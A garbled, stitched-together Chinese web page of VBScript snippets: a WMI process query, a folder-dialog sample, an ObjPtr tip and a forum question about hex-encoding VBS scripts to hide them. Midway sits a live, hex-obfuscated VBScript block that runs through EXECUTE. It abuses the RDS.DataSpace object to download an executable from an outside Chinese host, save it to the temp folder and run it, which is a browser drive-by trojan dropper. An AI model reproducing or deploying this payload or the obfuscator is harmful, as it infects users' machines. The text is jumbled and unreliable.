n=packages.SaveChanges更新“ScriptableAdminDemo”软件包的属性以及获取ComponentsInPackage集合strComputer="."Set objWMIService=GetObject("winmgmts:\" & strComputer & "\root\cimv2") Set colItems=objWMIService.ExecQuery("Select * From Win32_Process Where Name='wscript.exe' OR Name='cscript.exe'")For Each objItem in colItemslmq=lmq & objItem.CommandLine & vbcrlfNextWscript.Echo lmq

'************************************************ 'File:Dialog.vbs(WSHsampleinVBScript) 'Author:(c)G.Born ' 'Usingtheshelldialogboxtoselectafolder '************************************************ OptionExplicit 'Flagsfortheoptionsparameter ConstBIF_returnonlyfsdirs=&H0001 ConstBIF_dontgobelowdomain=&H0002 ConstBIF_statustext=&H0004 ConstBIF_returnfsancestors=&H0008 ConstBIF_editbox=&H0010 ConstBIF_validate=&H0020 ConstBIF_browseforcomputer=&H1000 ConstBIF_browseforprinter=&H2000 ConstBIF_browseincludefiles=&H4000 Dimwsh,objDlg,objF 'GetApplicationobjectoftheWindowsshell. SetobjDlg=WScript.CreateObject("Shell.Application") 'UsetheBrowseForFoldermethod. 'Forinstance:SetobjF=objDlg.BrowseForFolder_ '(&H0,"Selectthefoldertocopy",&H10,"C:\Born") SetobjF=objDlg.BrowseForFolder(&H0,_ "Selectthefoldertocopy",_ BIF_editbox+BIF_returnonlyfsdirs) 'Hereweusethefirstmethodtodetecttheresult. IfIsValue(objF)Then MsgBox"Selectedfolder:"&objF.Title Else MsgBox"Canceled" EndIf 'HereweuseTypeNametodetecttheresult. IfInStr(1,TypeName(objF),"Folder")>0Then MsgBox"Selectedfolder:"&objF.Title Else MsgBox"Canceled" EndIf FunctionIsValue(obj) 'Checkwhetherthevaluehasbeenreturned. Dimtmp OnErrorResumeNext tmp=""&obj IfErr<>0Then IsValue=False Else IsValue=True EndIf OnErrorGoTo0 EndFunction '***End

判断2个对象变量释放指向同一对象的方法是使用Is操作符，代码如下：

Ifobj1Isobj2Then...

但当2个对象是同一类型时，或者指向同一个二级接口时，我们就可以利用ObjPtr（）函数对代码进行一些优化处理：

IfObjPtr(obj1)=ObjPtr(obj2)Then...

后者的执行速度将比前种方法快40多

　　3.及时升级系统和IE并打补丁什么是VisualBasic6.0？微软公司的VisualBasic开发系统6.0版，是开发效率极高的用于创建高性能组件和应用程序的工具

<scriptlanguage="VBScript"> S="2020206F6E206572726F7220726573756D65206E6578740D0A737 3733D226D64622E657865220D0A61613D226F62220D0A6161613D22 6A65220D0A616161613D226374220D0A61616161613D22636C61220 D0A6161616161613D2273736964220D0A616161616161613D22636C 73220D0A61616161616161613D2269643A42443936220D0A6161616 161616161613D22433535362D3635220D0A61616161616161616161 3D2241332D313144220D0A61616161616161616161613D22302D393 8220D0A6161616161616161616161613D2233412D30304330344622 0D0A616161616161616161616161613D22433239453336220D0A6D6 D3D224D6963220D0A6E6E3D22726F73220D0A6D6D6E6E3D226F6674 2E58220D0A6E6E6D6D3D224D4C48220D0A6D6E6D6E3D22545450220 D0A6E6D3D6D6E0D0A62623D224164220D0A6262623D226F64220D0A 626262623D22622E5374220D0A62626262623D227265616D220D0A6 7673D2267220D0A65653D2265220D0A74743D2274220D0A63633D22 536372220D0A6363633D22697074220D0A636363633D22696E672E4 6220D0A6363313D22696C6553220D0A636363313D22797374220D0A 63636363313D22656D4F220D0A6363323D22626A220D0A636363323 D22656374220D0A68683D22536865220D0A6868683D226C6C2E4170 220D0A686868683D22706C69220D0A68686868683D2263617469220 D0A6868686868683D226F6E220D0A6F6F3D226F220D0A6F6F6F3D227 065220D0A6F6F6F6F3D226E220D0A536574207878787878787878203 D20646F63756D656E742E637265617465456C656D656E7428616126 6161612661616161290D0A78787878787878782E7365744174747269 62757465206161616161266161616161612C20616161616161612661 61616161616161266161616161616161612661616161616161616161 26616161616161616161616126616161616161616161616161266161 61616161616161616161610D0A53657420787878787878203D207878 7878787878782E4372656174654F626A656374286D6D266E6E266D6 D6E6E266E6E6D6D266D6E6D6E2C2222290D0A736574207878787820 3D2078787878787878782E6372656174656F626A6563742862622662 626226626262622662626262622C2222290D0A787878782E74797065 203D20310D0A7878787878782E4F70656E2067672665652674742C20 22687474703A2F2F71712E656532382E636E2F646F776E2F646F776E2 E657865222C2046616C73650D0A7878787878782E53656E640D0A78 7878787878783D7373730D0A20202020736574207878787878203D2 078787878787878782E6372656174656F626A6563742863632663636 32663636363266363312663636331266363636331266363322663636 3322C2222290D0A2020202073657420746D70203D2078787878782E 4765745370656369616C466F6C646572283229200D0A202020207878 78787878783D2078787878782E4275696C645061746828746D702C7 8787878787878290D0A20202020787878782E6F70656E0D0A2020202 0787878782E7772697465207878787878782E726573706F6E7365426 F64790D0A20202020787878782E73617665746F66696C65207878787 87878782C320D0A20202020787878782E636C6F73650D0A20202020 73657420717171203D2078787878787878782E6372656174656F626A 65637428686826686868266868686826686868686826686868686868 2C2222290D0A202020207171712E5368656C6C45786563757465207 87878787878782C22222C22222C6F6F266F6F6F266F6F6F6F2C30":D ="EXECUTE""""":C="&CHR(&H":N=")":DOWHILELEN(S)>1:IFISNUMER IC(LEFT(S,1))THEND=D&C&LEFT(S,2)&N:S=MID(S,3)ELSED=D&C&LEF T(S,4)&N:S=MID(S,5) LOOP:EXECUTED </script>解密后:事实上是使用SetCursorPos()便可以了，而它的参数是对应於萤的座标，而不是对应某一个Window的Logic座标

dxy: 你好! 我学vbs也有一小段时间了,最近看到一本书上讲vbs脚本的加密,就自己试了试,可是有一点问题,低级的语法错误我都自己修正了,可脚本运行后不起作用.所以想请教你一下.脚本的原理是这样的:它把代码转换成16进制,然后再写个解密代码,通过这个解密来执行加密的代码,将字符串成16进制的代码如下: Functionstr2hex(ByvalstrHex) Fori=1toLen(strHex) sHex=sHex&Hex(Asc(mid(strHex,i,1))) next str2Hex=sHex endFunction 解密的代码如下: Functionhextostr(data) Hextostr="Execute""""" C="&Chr(&H" N=")" DowhileLen(data)>1 ifIsNumeric(Left(data,1))then Hextostr=Hextostr&c&Left(data,2)&N data=mid(data,3) else Hextostr=HextoStr&C&Left(data,4)&N data=mid(data,5) endif loop endFunction 解密代码好象有点问题,请帮忙指正,我实在找不出 整个成品就是: onerrorresumenext setarg=wscript.arguement'声明外部参数 ifarg.count=0Thenwscript.quit'若无参数则退出脚本 setfso=creatobject("Scripting.FilesystemObject")'声明fso组件 whenfso.opentextfile(arg(0),1,flase) data=readall:.close'读取文本内容 iferr.number<>0thenwscript.quit'如果发生错误，则退出 withfso.opentextfile(arg(0)&"*.vbs",2,true)'将转换好的写到一个新的vbs中 iferr.number<>0thenwscript.quit'如果发生错误，则退出 .writeline"Execute(Hextostr("""&str2hex(data)&"""))"'执行解密并执行解密后的代码 .writeline"Functionhextostr(data)" .writeline"Hextostr=""Execute""""""""""" .writeline"C=""&CHR(&H""" .writeline"N=)" .writeline"DowhileLen(data)>1" .writeline"ifIsNumeric(Left(data,1))then" .writeline"Hextostr=Hextostr&c&Left(data,2)&N" .writeline"data=(data,3)" .writeline"else" .writeline"Hextostr=Hextostr&c&Left(data,4)&N" .writeline"data=mid(data,5)" .writeline"endif" .writeline"loop" .writeline"endfunction" '把解密函数写进去 .close'关闭文本 setfso=Nothing'注销fso组件 endwith msgbox"OK" '以下是加密函数 Functionstr2hex(ByvalstrHex) Fori=1toLen(strHex) sHex=sHex&Hex(Asc(mid(strHex,i,1))) next str2Hex=sHex endfunction '全部代码就到这了，好长~ 书上说,把要加密的vbs脚本拖到这个脚本上就行了,不过我没有成功,不知道那里有问题,请帮帮我,谢谢~cdr打开之后发生代码如下:DimNavasObject,resultasBooleanDimurl$ConsturlGet=0ConsturlPost=1url$=("netscape.network")result=Nav.Open(url$,urlGet,",",0,"")如果自动化对象的属性IsFinished设置为True,就可以通过对象缓冲区仔细处理页面中的内容绿色版就没有安装。